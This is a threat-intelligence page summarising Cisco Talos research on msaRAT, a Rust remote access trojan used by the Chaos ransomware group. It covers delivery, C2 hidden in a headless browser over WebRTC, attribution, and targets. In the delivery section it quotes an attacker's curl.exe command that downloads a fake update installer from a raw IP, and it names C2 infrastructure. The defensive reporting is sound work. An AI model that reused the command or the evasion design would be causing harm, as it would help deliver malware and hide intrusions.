msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to Chaos Ransomware RaaS — Threadlinqs Intelligence
As of 2026-07-25, msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to Chaos Ransomware RaaS is a high-severity malware threat attributed to Chaos Ransomware-as-a-Service Group, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 53 indicators of compromise.
Threat ID: TL-2026-1694 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Updated: 2026-07-25 · revalidated 1× · latest source
Attribution: Chaos Ransomware-as-a-Service Group · FINANCIAL
Cisco Talos identified msaRAT, a Rust/Tokio-based remote access trojan that hides its entire C2 channel inside a legitimate headless Chrome/Edge browser process by controlling it via the Chrome
Cisco Talos disclosed msaRAT, a Rust-based remote access trojan built on the Tokio asynchronous runtime, whose name derives from four exported bindings found in the binary — msaOpen, msaClose, msaError, and msaMessage. msaRAT is deployed by the Chaos ransomware-as-a-service (RaaS) operation (a 2025 group distinct from the unrelated 2021 'Chaos' ransomware-builder family) as a post-compromise access and reconnaissance tool ahead of double-extortion ransomware deployment.
Delivery begins with vishing (voice phishing) or spam email that leads a victim to run 'curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi', fetching an MSI installer disguised as a Windows update over plaintext HTTP on port 443 — a choice that lets the traffic slip past protocol-aware inspection expecting TLS on that port. The MSI's custom action, CA_Run_EA2AEBC3, extracts the binary Bin_lib_EA2AEBC3 from the MSI Binary table and loads the payload DLL (lib.dll, the msaRAT implant) directly into memory rather than dropping a standalone RAT binary to disk.
The distinctive feature of the campaign is its C2 channel: msaRAT spawns its own instance of Chrome or Edge in headless mode (--headless=new, --remote-debugging-port), discovering the browser binary path via the registry when environment variables are unavailable, and controls it entirely through the Chrome DevTools Protocol (CDP), injecting JavaScript — stored in plaintext in the binary's .rdata section — that executes inside the browser. The RAT process itself never touches the network; every external packet originates from the legitimate, code-signed browser process (identifiable on the wire by a HeadlessChrome user-agent string), while the RAT-to-browser channel stays confined to 127.0.0.1 loopback.
The injected JavaScript retrieves connection configuration and performs WebRTC SDP offer/answer signaling through an abused Cloudflare Workers endpoint (is-01-ast.ols-img-12.workers.dev), spoofing Origin/Referer headers to resemble official Microsoft traffic. It resolves the host's external address via Google's public STUN service (stun2.l.google.com), then deliberately omits ICE candidates so that every connection is forced through Twilio's TURN relay (global.turn.twilio.com) instead of a direct peer-to-peer path — hiding the true C2 server behind Twilio's infrastructure. WebRTC DataChannels are named with a random 5-20 character alphanumeric string to resist static signature matching. Traffic is protected by two encryption layers: the browser-native WebRTC DataChannel DTLS layer, plus a second, malware-specific ChaCha20-Poly1305 layer keyed via ECDH, so the payload stays opaque even if the outer DTLS is stripped or inspected.
Attribution and lineage: Talos assesses with moderate confidence that Chaos is either a rebrand of the BlackSuit ransomware group or is operated by former BlackSuit members, itself the successor of the earlier Royal ransomware operation. The assessment rests on identical encryption command-line parameters (/lkey, /encrypt_step, /work_mode), matching ransom-note structure and theme, and an overlapping RMM toolset. BlackSuit's leak site and infrastructure were seized on 2025-07-24 in a DOJ-led action (publicly referred to as Operation Checkmate), with follow-on law-enforcement confirmations reported through 2025-08-11 — even though Talos separately observed Chaos-branded ransomware samples compiled as early as February, March, and May 2025, indicating the transition/overlap predates the public takedown announcement. Chaos affiliates are recruited on the Russian-language dark-web forum Ransom Anon Market Place (RAMP), where operators advertise an automated management panel for victim administration, payload deployment, and negotiation, and state (per their own recruitment posts) that affiliates should avoid BRICS/CIS countries, hospitals, and government entities — a stated policy that stands in some tension with independently reported Chaos victims spanning
Target sectors: enterprise, health, education, public safety, energy, government administration
Target regions: united states of america, united kingdom, new zealand, india
Detections & IOCs
As of 2026-07-27, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 53 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
MALWARE, HIGH, threat intelligence, cybersecurity, T1566.004, T1566.001, T1133, T1656, T1218.007, T1059.007, T1059.001, T1204.002, T1036.005, T1620